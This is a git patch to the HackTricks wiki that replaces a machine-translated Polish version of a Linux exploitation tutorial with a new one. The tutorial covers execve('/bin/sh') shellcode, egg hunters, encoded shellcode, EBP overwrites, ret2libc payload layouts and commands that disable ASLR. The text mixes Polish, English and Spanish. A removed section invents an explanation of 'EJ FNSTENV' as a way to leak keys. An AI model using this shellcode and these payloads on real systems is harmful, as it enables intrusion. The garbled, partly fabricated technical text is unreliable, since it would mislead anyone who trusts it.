From 8cea4793477ae1f9f4e613d532b30073465d43a5 Mon Sep 17 00:00:00 2001 From: Translator Date: Fri, 29 Mar 2024 12:47:34 +0000 Subject: [PATCH] Translated ['exploiting/linux-exploiting-basic-esp/README.md', 'reversin --- SUMMARY.md | 10 +- .../linux-exploiting-basic-esp/README.md | 760 ++++++++---------- .../common-binary-protections/README.md | 39 + .../common-binary-protections/aslr.md | 88 ++ .../common-binary-protections/no-exec-nx.md | 40 + .../stack-canaries.md | 37 + .../stack-overflow/README.md | 97 +++ .../stack-overflow/ret2shellcode.md | 93 +++ .../stack-overflow/ret2win.md | 103 +++ .../rop-return-oriented-programing.md | 88 ++ 10 files changed, 921 insertions(+), 434 deletions(-) create mode 100644 reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections/README.md create mode 100644 reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections/aslr.md create mode 100644 reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections/no-exec-nx.md create mode 100644 reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections/stack-canaries.md create mode 100644 reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/README.md create mode 100644 reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2shellcode.md create mode 100644 reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2win.md create mode 100644 reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/rop-return-oriented-programing.md diff --git a/SUMMARY.md b/SUMMARY.md index 76bfe3e77..878f387f1 100644 --- a/SUMMARY.md +++ b/SUMMARY.md @@ -693,14 +693,22 @@ * [Common API used in Malware](reversing/common-api-used-in-malware.md) * [Word Macros](reversing/word-macros.md) * [Linux Exploiting (Basic) (SPA)](exploiting/linux-exploiting-basic-esp/README.md) + * [Stack Overflow](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/README.md) + * [ROP - Return Oriented Programing](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/rop-return-oriented-programing.md) + * [Ret2Shellcode](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2shellcode.md) + * [Ret2win](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2win.md) + * [Common Binary Protections](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections/README.md) + * [No-exec / NX](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections/no-exec-nx.md) + * [Stack Canaries](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections/stack-canaries.md) + * [ASLR](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections/aslr.md) * [ELF Tricks](reversing-and-exploiting/linux-exploiting-basic-esp/elf-tricks.md) * [Format Strings Template](exploiting/linux-exploiting-basic-esp/format-strings-template.md) - * [ROP - call sys\_execve](exploiting/linux-exploiting-basic-esp/rop-syscall-execv.md) * [ROP - Leaking LIBC address](exploiting/linux-exploiting-basic-esp/rop-leaking-libc-address/README.md) * [ROP - Leaking LIBC template](exploiting/linux-exploiting-basic-esp/rop-leaking-libc-address/rop-leaking-libc-template.md) * [Bypassing Canary & PIE](exploiting/linux-exploiting-basic-esp/bypassing-canary-and-pie.md) * [Ret2Lib](exploiting/linux-exploiting-basic-esp/ret2lib.md) * [Fusion](exploiting/linux-exploiting-basic-esp/fusion.md) + * [ROP - call sys\_execve](exploiting/linux-exploiting-basic-esp/rop-syscall-execv.md) * [Exploiting Tools](exploiting/tools/README.md) * [PwnTools](exploiting/tools/pwntools.md) * [Windows Exploiting (Basic Guide - OSCP lvl)](exploiting/windows-exploiting-basic-guide-oscp-lvl.md) diff --git a/exploiting/linux-exploiting-basic-esp/README.md b/exploiting/linux-exploiting-basic-esp/README.md index a887320f0..784a3d4a0 100644 --- a/exploiting/linux-exploiting-basic-esp/README.md +++ b/exploiting/linux-exploiting-basic-esp/README.md @@ -1,69 +1,26 @@ -# Linux Exploiting (Podstawy) (SPA) - -## Linux Exploiting (Podstawy) (SPA) +# Eksploatacja systemu Linux (Podstawy) (SPA)
-Dowiedz się, jak hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)! +Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)! -Inne sposoby wsparcia dla HackTricks: +Inne sposoby wsparcia HackTricks: -* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)! * Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com) * Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family) -* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* **Dołącz do** 💬 [**Grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na GitHubie.
-## **ASLR** - -Aleatoryzacja adresów - -**Wyłącz globalną aleatoryzację (ASLR) (root)**:\ -echo 0 > /proc/sys/kernel/randomize\_va\_space\ -Włącz ponownie globalną aleatoryzację: echo 2 > /proc/sys/kernel/randomize\_va\_space - -**Wyłącz dla jednego wykonania** (nie wymaga uprawnień root):\ -setarch \`arch\` -R ./example arguments\ -setarch \`uname -m\` -R ./example arguments - -**Wyłącz ochronę wykonania na stosie**\ -gcc -fno-stack-protector -D\_FORTIFY\_SOURCE=0 -z norelro -z execstack example.c -o example - -**Plik core**\ -ulimit -c unlimited\ -gdb /exec core\_file\ -/etc/security/limits.conf -> \* soft core unlimited - -**Tekst**\ -**Dane**\ -**BSS**\ -**Sterta** - -**Stos** - -**Sekcja BSS**: Niezainicjowane zmienne globalne lub statyczne -``` -static int i; -``` -**Sekcja DANE**: Zmienne globalne lub statyczne zainicjowane -``` -int i = 5; -``` -**Sekcja TEXT**: Instrukcje kodu (opcodes) - -**Sekcja HEAP**: Bufory rezerwowane dynamicznie (malloc(), calloc(), realloc()) - -**Sekcja STACK**: Stos (przekazywane argumenty, zmienne lokalne, środowisko łańcuchów znakowych (env) ...) - ## **1. PRZEPEŁNIENIA STOSU** -> przepełnienie bufora, przepełnienie stosu, nadpisanie stosu, zniszczenie stosu +> przepełnienie bufora, nadpisanie bufora, przepełnienie stosu, zgniatanie stosu -Błąd segmentacji lub naruszenie segmentu: Gdy próbuje się uzyskać dostęp do adresu pamięci, który nie został przypisany do procesu. +Segmentation fault lub naruszenie segmentu: Gdy próbuje się uzyskać dostęp do adresu pamięci, który nie został przydzielony procesowi. -Aby uzyskać adres funkcji w programie, można użyć: +Aby uzyskać adres funkcji wewnątrz programu, można użyć: ``` objdump -d ./PROGRAMA | grep FUNCION ``` @@ -77,22 +34,22 @@ objdump -d ./PROGRAMA | grep FUNCION ## **2.SHELLCODE** -Sprawdź przerwania jądra: cat /usr/include/i386-linux-gnu/asm/unistd\_32.h | grep “\_\_NR\_” +View kernel interrupts: cat /usr/include/i386-linux-gnu/asm/unistd\_32.h | grep “\_\_NR\_” setreuid(0,0); // \_\_NR\_setreuid 70\ execve(“/bin/sh”, args\[], NULL); // \_\_NR\_execve 11\ exit(0); // \_\_NR\_exit 1 -xor eax, eax ; wyczyść eax\ -xor ebx, ebx ; ebx = 0, nie ma argumentu do przekazania\ +xor eax, eax ; clear eax\ +xor ebx, ebx ; ebx = 0 as there are no arguments to pass\ mov al, 0x01 ; eax = 1 —> \_\_NR\_exit 1\ -int 0x80 ; Wykonaj syscall +int 0x80 ; Execute syscall -**nasm -f elf assembly.asm** —> Zwraca plik .o\ -**ld assembly.o -o shellcodeout** —> Tworzy wykonywalny plik z kodem asemblera, a następnie możemy uzyskać opkody za pomocą **objdump**\ -**objdump -d -Mintel ./shellcodeout** —> Aby sprawdzić, czy to jest nasz shellcode i uzyskać opkody +**nasm -f elf assembly.asm** —> Returns a .o file\ +**ld assembly.o -o shellcodeout** —> Generates an executable with the assembly code and we can extract the opcodes with **objdump**\ +**objdump -d -Mintel ./shellcodeout** —> To verify that it is indeed our shellcode and extract the OpCodes -**Sprawdź, czy shellcode działa** +**Verify that the shellcode works** ``` char shellcode[] = “\x31\xc0\x31\xdb\xb0\x01\xcd\x80” @@ -102,9 +59,9 @@ fp = (void *)shellcode; fp(); } ``` -Aby sprawdzić, czy wywołania systemowe są wykonywane poprawnie, należy skompilować poprzedni program, a następnie wywołać **strace ./SKOMPILOWANY\_PROGRAM**. +Aby sprawdzić, czy wywołania systemowe są wykonywane poprawnie, należy skompilować poprzedni program, a wywołania systemowe powinny pojawić się w **strace ./SKOMPILOWANY\_PROGRAM** -Podczas tworzenia shellcode'u można zastosować sztuczkę. Pierwsza instrukcja to skok do wywołania. Wywołanie to wywołuje oryginalny kod i dodaje EIP do stosu. Po instrukcji wywołania wstawiamy potrzebny nam ciąg znaków, dzięki czemu możemy wskazać na ten ciąg znaków za pomocą EIP i kontynuować wykonywanie kodu. +Podczas tworzenia shellcode'u można zastosować sztuczkę. Pierwsza instrukcja to skok do wywołania. Wywołanie wykonuje oryginalny kod i dodatkowo umieszcza EIP na stosie. Po instrukcji call umieszczamy potrzebny nam ciąg znaków, dzięki czemu za pomocą tego EIP możemy wskazać na ciąg znaków i kontynuować wykonywanie kodu. PRZYKŁAD **SZTUCZKI (/bin/sh)**: ``` @@ -126,44 +83,7 @@ int $0x80 ; exit(0) call -0x24 ; Salto a la primera instrución .string \”/bin/sh\” ; String a usar ``` -**Użycie Stacka (/bin/sh):** - -Aby wykorzystać podatność stosu i uzyskać dostęp do powłoki systemowej (/bin/sh), wykonaj następujące kroki: - -1. Zidentyfikuj podatną aplikację lub usługę, która umożliwia manipulację stosu. -2. Zlokalizuj miejsce w kodzie, gdzie występuje podatność na przepełnienie bufora. -3. Przygotuj odpowiednio spreparowany bufor, który spowoduje przepełnienie stosu. -4. Wstrzyknij kod, który spowoduje wykonanie polecenia `/bin/sh`. -5. Uruchom atak, aby wywołać przepełnienie bufora i uzyskać dostęp do powłoki systemowej. - -Poniżej przedstawiono przykładowy kod w języku C, który demonstruje wykorzystanie podatności stosu: - -```c -#include -#include - -void vulnerable_function(char *input) { - char buffer[10]; - strcpy(buffer, input); -} - -int main(int argc, char *argv[]) { - if (argc != 2) { - printf("Usage: %s \n", argv[0]); - return 1; - } - - vulnerable_function(argv[1]); - - printf("Program executed successfully!\n"); - - return 0; -} -``` - -W powyższym przykładzie funkcja `vulnerable_function` jest podatna na przepełnienie bufora. Aby wywołać powłokę systemową, wystarczy przekazać odpowiednio długi ciąg znaków jako argument wiersza poleceń. - -**Uwaga:** Wykorzystywanie podatności stosu jest nielegalne i narusza prywatność i bezpieczeństwo systemów. Niniejsze informacje mają na celu jedynie cel edukacyjny i nie powinny być stosowane w celach niezgodnych z prawem. +**Użycie Stack(/bin/sh):** ``` section .text global _start @@ -184,28 +104,20 @@ mov ecx, esp ; arg2 = args[] mov al, 0x0b ; Syscall 11 int 0x80 ; excve(“/bin/sh”, args[“/bin/sh”, “NULL”], NULL) ``` -**EJ FNSTENV:** - -EJ FNSTENV (Execute FNSTENV) is a technique used in Linux exploitation to execute the FNSTENV instruction. This instruction is responsible for saving the FPU environment to memory. By executing this instruction, we can leak the FPU state and retrieve sensitive information such as cryptographic keys. - -To perform EJ FNSTENV, we need to find a vulnerable program that allows us to control the FPU state. Once we have control, we can execute the FNSTENV instruction and retrieve the leaked data. - -This technique is commonly used in privilege escalation attacks, where an attacker gains elevated privileges by exploiting a vulnerability in a program. By leaking sensitive information, the attacker can further exploit the system and gain full control. - -It is important to note that EJ FNSTENV is just one of many techniques used in Linux exploitation. It requires a deep understanding of the underlying system and the vulnerability being exploited. +**Eksploracja podstawowa ESP:** ``` fabs fnstenv [esp-0x0c] pop eax ; Guarda el EIP en el que se ejecutó fabs … ``` -**Egg Hunter:** +**Łowca jajek:** -Polega na małym kodzie, który przeszukuje strony pamięci przypisane do procesu w poszukiwaniu tam przechowywanej shellcode (szuka jakiegoś podpisu umieszczonego w shellcode). Przydatne w przypadkach, gdy mamy tylko małą przestrzeń do wstrzyknięcia kodu. +Polega na małym kodzie, który przeszukuje strony pamięci powiązane z procesem w poszukiwaniu tam przechowywanej shellcode (szuka jakiegoś podpisu umieszczonego w shellcode). Przydatne w przypadkach, gdy jest tylko niewielka przestrzeń do wstrzyknięcia kodu. **Shellkody polimorficzne** -Są to zaszyfrowane shelle, które mają mały kod, który je deszyfruje i skacze do niego, używając sztuczki Call-Pop. Oto **przykład zaszyfrowanego szyfru Cezara**: +Polegają na zaszyfrowanych shellach, które posiadają małe kody deszyfrujące i skaczące do nich, używając sztuczki Call-Pop, oto **przykład zaszyfrowanego szyfru Cezara**: ``` global _start _start: @@ -226,137 +138,119 @@ sc: ``` 1. **Atakowanie wskaźnika ramki (EBP)** -Przydatne w sytuacji, gdy możemy zmodyfikować EBP, ale nie EIP. +Przydatne w sytuacji, gdy możemy modyfikować EBP, ale nie EIP. -Wiadomo, że po opuszczeniu funkcji wykonuje się następujący kod assemblerowy: +Wiadomo, że po opuszczeniu funkcji wykonany zostanie następujący kod assemblera: ``` movl %ebp, %esp popl %ebp ret ``` -W ten sposób, jeśli można zmienić EBP przy wyjściu z funkcji (fvuln), która została wywołana przez inną funkcję, gdy funkcja wywołująca fvuln się zakończy, jej EIP może zostać zmieniony. +W ten sposób, jeśli można zmodyfikować EBP po wyjściu z funkcji (fvuln), która została wywołana przez inną funkcję, gdy funkcja wywołująca fvuln zakończy działanie, jej EIP może zostać zmieniony. -W fvuln można wprowadzić fałszywy EBP, który wskazuje na miejsce, gdzie znajduje się adres shellcode + 4 (trzeba dodać 4 ze względu na pop). W ten sposób, po wyjściu z funkcji, wartość &(\&Shellcode)+4 zostanie umieszczona w ESP, a pop odjęcie 4 od ESP spowoduje, że wskaże on adres shellcode, gdy zostanie wykonane ret. +W fvuln można wprowadzić fałszywy EBP wskazujący na miejsce, gdzie znajduje się adres shellcode + 4 (należy dodać 4 ze względu na pop). W ten sposób po wyjściu z funkcji wartość &(\&Shellcode)+4 zostanie umieszczona w ESP, a pop zmniejszy ESP o 4, wskazując na adres shellcode podczas wykonywania ret. **Exploit:**\ \&Shellcode + "AAAA" + SHELLCODE + wypełnienie + &(\&Shellcode)+4 **Exploit Off-by-One**\ -Można zmienić tylko najmniej znaczący bajt EBP. Można przeprowadzić atak jak powyżej, ale pamięć przechowująca adres shellcode musi dzielić 3 pierwsze bajty z EBP. +Pozwala na zmodyfikowanie tylko najmniej znaczącego bajtu EBP. Można przeprowadzić atak podobny do powyższego, ale pamięć przechowująca adres shellcode musi dzielić 3 pierwsze bajty z EBP. -## **4. Metody return to Libc** +## **4. Metody powrotu do Libc** Metoda przydatna, gdy stos nie jest wykonywalny lub pozostawia zbyt mały bufor do modyfikacji. -ASLR powoduje, że w każdym uruchomieniu funkcje są ładowane na różne pozycje w pamięci. Dlatego ta metoda może nie być skuteczna w tym przypadku. Dla zdalnych serwerów, ponieważ program jest wykonywany ciągle pod tym samym adresem, może być przydatna. +ASLR powoduje, że funkcje są ładowane w różnych miejscach pamięci podczas każdego uruchomienia. Dlatego ta metoda może nie być skuteczna w tym przypadku. Dla zdalnych serwerów, ponieważ program jest ciągle wykonywany pod tym samym adresem, może być przydatna. -* **cdecl (C declaration)** Umieszcza argumenty na stosie i po wyjściu z funkcji czyści stos -* **stdcall (standardowe wywołanie)** Umieszcza argumenty na stosie i to wywołana funkcja go czyści +* **cdecl(C declaration)** Umieszcza argumenty na stosie i po wyjściu z funkcji czyści stos +* **stdcall(standard call)** Umieszcza argumenty na stosie i to funkcja wywołana czyści stos * **fastcall** Umieszcza dwa pierwsze argumenty w rejestrach, a resztę na stosie -Wstawiamy adres instrukcji system z biblioteki libc i przekazujemy go jako argument dla ciągu znaków "/bin/sh", zwykle z zmiennej środowiskowej. Ponadto, używamy adresu funkcji exit, aby po zakończeniu korzystania z powłoki program zakończył się bez problemów (i zapisywał logi). +Wstawiamy adres instrukcji system z libc i przekazujemy jako argument string "/bin/sh", zazwyczaj z zmiennej środowiskowej. Ponadto używamy adresu funkcji exit, aby po zakończeniu użycia powłoki program zakończył działanie bez problemów (i zapisywał logi). **export SHELL=/bin/sh** Aby znaleźć potrzebne adresy, można sprawdzić w **GDB:**\ **p system**\ **p exit**\ -**rabin2 -i executable** —> Daje adres wszystkich funkcji używanych przez program podczas ładowania\ -(Wewnątrz startu lub jakiegoś punktu przerwania): **x/500s $esp** —> Szukamy tutaj ciągu znaków /bin/sh +**rabin2 -i executable** —> Daje adresy wszystkich funkcji używanych przez program podczas ładowania\ +(Wewnątrz startu lub jakiegoś punktu przerwania): **x/500s $esp** —> Szukamy tutaj stringa /bin/sh -Po uzyskaniu tych adresów **exploit** wyglądałby tak: +Po uzyskaniu tych adresów **exploit** będzie wyglądał następująco: -"A" \* ODLEGŁOŚĆ EBP + 4 (EBP: mogą to być 4 "A", ale lepiej, jeśli to jest rzeczywisty EBP, aby uniknąć błędów segmentacji) + Adres **system** (nadpisze EIP) + Adres **exit** (po wywołaniu system("/bin/sh") ta funkcja zostanie wywołana, ponieważ pierwsze 4 bajty stosu są traktowane jako następny adres EIP do wykonania) + Adres "*/bin/sh*" (będzie to parametr przekazany do system) +"A" \* ODLEGŁOŚĆ EBP + 4 (EBP: mogą być 4 "A", ale lepiej, jeśli to jest rzeczywisty EBP, aby uniknąć błędów segmentacji) + Adres **system** (nadpisze EIP) + Adres **exit** (po wyjściu z system(“/bin/sh”) ta funkcja zostanie wywołana, ponieważ pierwsze 4 bajty stosu są traktowane jako następny adres EIP do wykonania) + Adres “**/bin/sh**” (będzie to parametr przekazany do system) -W ten sposób EIP zostanie nadpisany adresem system, który otrzyma jako parametr ciąg znaków "/bin/sh", a po wyjściu z niego zostanie wykonana funkcja exit(). +W ten sposób EIP zostanie nadpisany adresem system, który otrzyma jako parametr string "/bin/sh", a po jego wykonaniu funkcja exit() zostanie uruchomiona. -Może się zdarzyć, że któryś bajt z adresu jakiejś funkcji będzie zerowy lub spacja (\x20). W takim przypadku można rozłożyć na części adresy poprzedzające tę funkcję, ponieważ prawdopodobnie będą tam kilka NOP-ów, które pozwolą nam wywołać jeden z nich zamiast funkcji bezpośrednio (na przykład za pomocą > x/8i system-4). +Może się zdarzyć, że któryś bajt z adresu funkcji będzie nullem lub spacją (\x20). W takim przypadku można rozłożyć wcześniejsze adresy przed tą funkcją, ponieważ prawdopodobnie znajdują się tam kilka NOP-ów, które pozwolą nam wywołać któryś z nich zamiast funkcji bezpośrednio (na przykład za pomocą > x/8i system-4). -Ta metoda działa, ponieważ wywołując funkcję jak system za pomocą opcode'u **ret** zamiast **call**, funkcja rozumie, że pierwsze 4 bajty będą adresem **EIP**, do którego należy powrócić. +Ta metoda działa, ponieważ wywołując funkcję jak system za pomocą opcode'u **ret** zamiast **call**, funkcja rozumie, że pierwsze 4 bajty będą adresem **EIP**, do którego ma wrócić. -Interesującą techniką z wykorzystaniem tej metody jest wywołanie **strncpy()**, aby przenieść ładunek ze stosu do sterty, a następnie użyć **gets()**, aby wykonać ten ładunek. +Interesującą techniką z tą metodą jest wywołanie **strncpy()** do przeniesienia ładunku ze stosu do sterty, a następnie użycie **gets()** do wykonania tego ładunku. -Inną interesującą techniką jest użycie **mprotect()**, która pozwala przypisać żądane uprawnienia do dowolnej części pamięci. Działała lub działała w BDS, MacOS i OpenBSD, ale nie w systemie Linux (kontroluje, czy nie można jednocześnie przyznać uprawnień do zapisu i wykonania). Za pomocą tego ataku można przywrócić stos jako wykonywalny. +Inną interesującą techniką jest użycie **mprotect()**, która pozwala przypisać pożądane uprawnienia do dowolnej części pamięci. Działała lub działała w BDS, MacOS i OpenBSD, ale nie w linuxie (kontroluje, czy nie można jednocześnie przyznać uprawnień do zapisu i wykonania). Za pomocą tego ataku można ponownie skonfigurować stos jako wykonywalny. **Łączenie funkcji** -Opierając się na poprzedniej technice, ta forma exploitu polega na:\ -Wypełnienie + \&Funkcja1 + \&pop;ret; + \&arg\_fun1 + \&Funkcja2 + \&pop;ret; + \&arg\_fun2 + ... +Opierając się na powyższej technice, ten sposób exploitacji polega na:\ +Wypełnienie + \&Funkcja1 + \&pop;ret; + \&arg\_fun1 + \&Funkcja2 + \&pop;ret; + \&arg\_fun2 + … -W ten sposób można łączyć funkcje, do których można się odwołać. Ponadto, jeśli chcesz użyć funkcji z kilkoma argumentami, można umieścić potrzebne argumenty (np. 4) i umieścić 4 argumenty i znaleźć adres w miejscu z opcode'ami: pop, pop, pop, pop, ret —> **objdump -d executable** +W ten sposób można łączyć funkcje do wywołania. Ponadto, jeśli chcemy użyć funkcji z kilkoma argumentami, możemy umieścić potrzebne argumenty (np. 4) i umieścić 4 argumenty oraz znaleźć adres do miejsca z opcode'ami: pop, pop, pop, pop, ret —> **objdump -d executable** -**Łączenie przez fałszowanie ramek (łączenie EBPs)** +**Łączenie poprzez fałszowanie ramek (łączenie EBPs)** -Polega na wykorzystaniu możliwości manipulacji EBP do łączenia wykonania kilku funkcji za pomocą EBP i "leave;ret" +Polega na wykorzystaniu możliwości manipulowania EBP do łączenia wykonania kilku funkcji poprzez EBP i "leave;ret" -Wypełnienie +RELLENO -* Umieszczamy w EBP fałszywy EBP, który wskazuje na: 2. fałszywy EBP + funkcję do wykonania: (\&system() + \&leave;ret + &"/bin/sh") +* Umieszczamy w EBP fałszywy EBP wskazujący na: 2. fałszywy EBP + funkcję do wykonania: (\&system() + \&leave;ret + &“/bin/sh”) * W EIP umieszczamy jako adres funkcji &(leave;ret) -Rozpoczynamy shellcode od adresu następnej części shellcode, na przykład: 2. fałszywy EBP + \&system() + &(leave;ret;) + &"/bin/sh" +Rozpoczynamy shellcode od adresu kolejnej części shellcode, na przykład: 2. fałszywy EBP + \&system() + &(leave;ret;) + &”/bin/sh” -2. fałszywy EBP to: 3. fałszywy EBP + \&system() + &(leave;ret;) + &"/bin/ls" +2. EBP byłoby: 3. fałszywy EBP + \&system() + &(leave;ret;) + &”/bin/ls” -Ten shellcode można powtarzać w nieskończoność w dostępnych częściach pamięci, dzięki czemu łatwo podzieli się go na małe fragmenty pamięci. +Ta shellcode może być powtarzana w nieskończoność w dostępnych częściach pamięci, dzięki czemu łatwo podzielić ją na małe fragmenty pamięci. -(Łączy się wykonanie funkcji, łącząc wcześniej omówione podatności EBP i ret2lib) +(Wykorzystuje się łączenie wykonania funkcji poprzez wcześniej omówione podatności EBP i ret2lib) ## **5. Metody uzupełniające** **Ret2Ret** -Przydatne, gdy nie można umieścić adresu ze stosu w EIP (sprawdzane jest, czy EIP nie zawiera 0xbf) lub gdy nie można obliczyć lokalizacji shellcode. Jednak funkcja podatna akceptuje parametr (shellcode zostanie umieszczony tutaj). +Przydatne, gdy nie można umieścić adresu stosu w EIP (sprawdzane jest, czy EIP nie zawiera 0xbf) lub gdy nie można obliczyć lokalizacji shellcode. Jednak funkcja podatna akceptuje parametr (tutaj trzeba umieścić shellcode). W ten sposób, zmieniając EIP na adres **ret**, zostanie załadowany następny adres (który jest adresem pierwszego argumentu funkcji). Innymi słowy, zostanie załadowana shellcode. -Exploit wyglądałby tak: SHELLCODE + Wypełnienie (do EIP) + **\&ret** (następne bajty stosu wskazują na początek shellcode, ponieważ na stosie umieszczony jest adres przekazanego parametru) +Exploit będzie wyglądał: SHELLCODE + Wypełnienie (do EIP) + **\&ret** (następne bajty stosu wskazują na początek shellcode, ponieważ na stosie umieszczony jest adres przekazanego parametru) -Wygląda na to, że funkcje takie jak **strncpy** po zakończeniu usuwają ze stosu adres, w którym przechowywana była shellcode, uniemożliwiając zastosowanie tej techniki. Innymi słowy, adres przekazywany do funkcji jako argument (ten, który przechowuje shellcode) jest zmieniany na 0x00, więc po wywołaniu drugiego **ret** napotyka na 0x00 i program się zawiesza. +Wygląda na to, że funkcje takie jak **strncpy** po zakończeniu usuwają z stosu adres, w którym przechowywana była shellcode, uniemożliwiając tę technikę. Innymi słowy, adres przekazywany funkcji jako argument (ten, który przechowuje shellcode) jest modyfikowany na 0x00, więc po wywołaniu drugiego **ret** program napotyka na 0x00 i kończy działanie. ``` **Ret2PopRet** ``` -Jeśli nie mamy kontroli nad pierwszym argumentem, ale mamy nad drugim lub trzecim, możemy nadpisać EIP adresem pop-ret lub pop-pop-ret, w zależności od potrzeb. - -**Metoda Murata** +**Technika Murata** W systemie Linux wszystkie programy są mapowane zaczynając od 0xbfffffff. -Analizując, jak jest tworzony stos nowego procesu w systemie Linux, można opracować exploit, który uruchamia program w środowisku, w którym jedyną zmienną jest shellcode. Adres tej zmiennej można obliczyć jako: addr = 0xbfffffff - 4 - strlen(NAZWA_pełna_ścieżka_do_wykonawczego) - strlen(shellcode) +Analizując jak jest budowany stos nowego procesu w systemie Linux, można opracować exploit w taki sposób, że program zostanie uruchomiony w środowisku, w którym jedyną zmienną jest shellcode. Adres tej zmiennej można obliczyć jako: addr = 0xbfffffff - 4 - strlen(NAZWA\_PEŁNEJ\_ŚCIEŻKI\_DO\_PLIKU\_WYKONAWCZEGO) - strlen(shellcode) W ten sposób można łatwo uzyskać adres zmiennej środowiskowej zawierającej shellcode. -Jest to możliwe dzięki funkcji execle, która pozwala tworzyć środowisko zawierające tylko wybrane zmienne środowiskowe. +Można to zrobić dzięki funkcji execle, która pozwala tworzyć środowisko zawierające tylko wybrane zmienne środowiskowe. -**Skok do ESP: styl Windows** +**Skok do ESP: Styl Windows** -Ponieważ ESP zawsze wskazuje na początek stosu, ta technika polega na zastąpieniu EIP adresem skoku do **jmp esp** lub **call esp**. W ten sposób shellcode jest zapisywany po nadpisaniu EIP, ponieważ po wykonaniu instrukcji **ret** ESP wskazuje na następny adres, dokładnie tam, gdzie zapisano shellcode. +Ponieważ ESP zawsze wskazuje na początek stosu, ta technika polega na zastąpieniu EIP adresem wywołania **jmp esp** lub **call esp**. W ten sposób shellcode jest zapisywany po nadpisaniu EIP, ponieważ po wykonaniu instrukcji **ret** ESP wskazuje na następny adres, dokładnie tam, gdzie zapisano shellcode. -Jeśli w systemie Windows lub Linux nie jest aktywna technika ASLR, można wywołać **jmp esp** lub **call esp**, które są przechowywane w jakimś współdzielonym obiekcie. Jeśli ASLR jest aktywne, można je znaleźć w samym podatnym programie. +W przypadku braku aktywnego ASLR w systemie Windows lub Linux, można wywołać **jmp esp** lub **call esp** przechowywane w jakimś obiekcie współdzielonym. Jeśli ASLR jest aktywny, można poszukać ich w samym programie podatnym na atak. -Dodatkowo, możliwość umieszczenia shellcode po nadpisaniu EIP zamiast w środku stosu pozwala uniknąć dotknięcia jej przez instrukcje push lub pop, które mogą być wykonywane w trakcie działania funkcji. +Ponadto, umożliwienie umieszczenia shellcode po nadpisaniu EIP zamiast w środku stosu pozwala uniknąć dotknięcia jej instrukcjami push lub pop wykonywanymi w trakcie funkcji (co mogłoby się zdarzyć, gdyby była umieszczona w środku stosu funkcji). -Podobnie, jeśli wiemy, że funkcja zwraca adres, pod którym znajduje się shellcode, można wywołać **call eax** lub **jmp eax (ret2eax).** - -**ROP (Return Oriented Programming) lub pożyczone fragmenty kodu** - -Wywoływane fragmenty kodu nazywane są gadżetami. - -Ta technika polega na łączeniu różnych wywołań funkcji za pomocą techniki **ret2libc** i użycia **pop,ret**. - -W niektórych architekturach procesorów każda instrukcja składa się z 32 bitów (np. MIPS). Jednak w przypadku procesorów Intel instrukcje mają zmienną długość, a kilka instrukcji może dzielić ten sam zestaw bitów, na przykład: - -**movl $0xe4ff, -0x(%ebp)** —> Zawiera bajty 0xffe4, które można również przetłumaczyć jako: **jmp \*%esp** - -W ten sposób można wykonywać instrukcje, które nie są nawet w oryginalnym programie. - -**ROPgadget.py** pomaga nam znaleźć wartości w plikach binarnych. - -Ten program służy również do tworzenia **payloadów**. Możesz podać mu bibliotekę, z której chcesz wyciągnąć ROP-y, a on wygeneruje gotowy do użycia jako shellcode payload w języku Python. Ponadto, ponieważ korzysta z wywołań systemowych, nie wykonuje niczego na stosie, tylko zapisuje adresy ROP-ów, które zostaną wykonane za pomocą instrukcji **ret**. Aby użyć tego payloadu, należy wywołać go za pomocą instrukcji **ret**. +Podobnie, jeśli wiadomo, że funkcja zwraca adres, pod którym znajduje się shellcode, można wywołać **call eax** lub **jmp eax (ret2eax).** **Przepełnienia liczb całkowitych** -Tego rodzaju przepełnienia występują, gdy zmienna nie jest przygotowana na obsługę tak dużej liczby, jaką jej podajemy, być może z powodu pomyłki między zmiennymi ze znakiem a bez znaku, na przykład: +Ten rodzaj przepełnień występuje, gdy zmienna nie jest przygotowana na obsługę tak dużej liczby, jaką się jej przekazuje, być może z powodu pomyłki między zmiennymi ze znakiem i bez znaku, na przykład: ```c #include #include @@ -381,23 +275,23 @@ printf("\nIntento de hack\n"); return 0; } ``` -W poprzednim przykładzie widzimy, że program oczekuje dwóch parametrów. 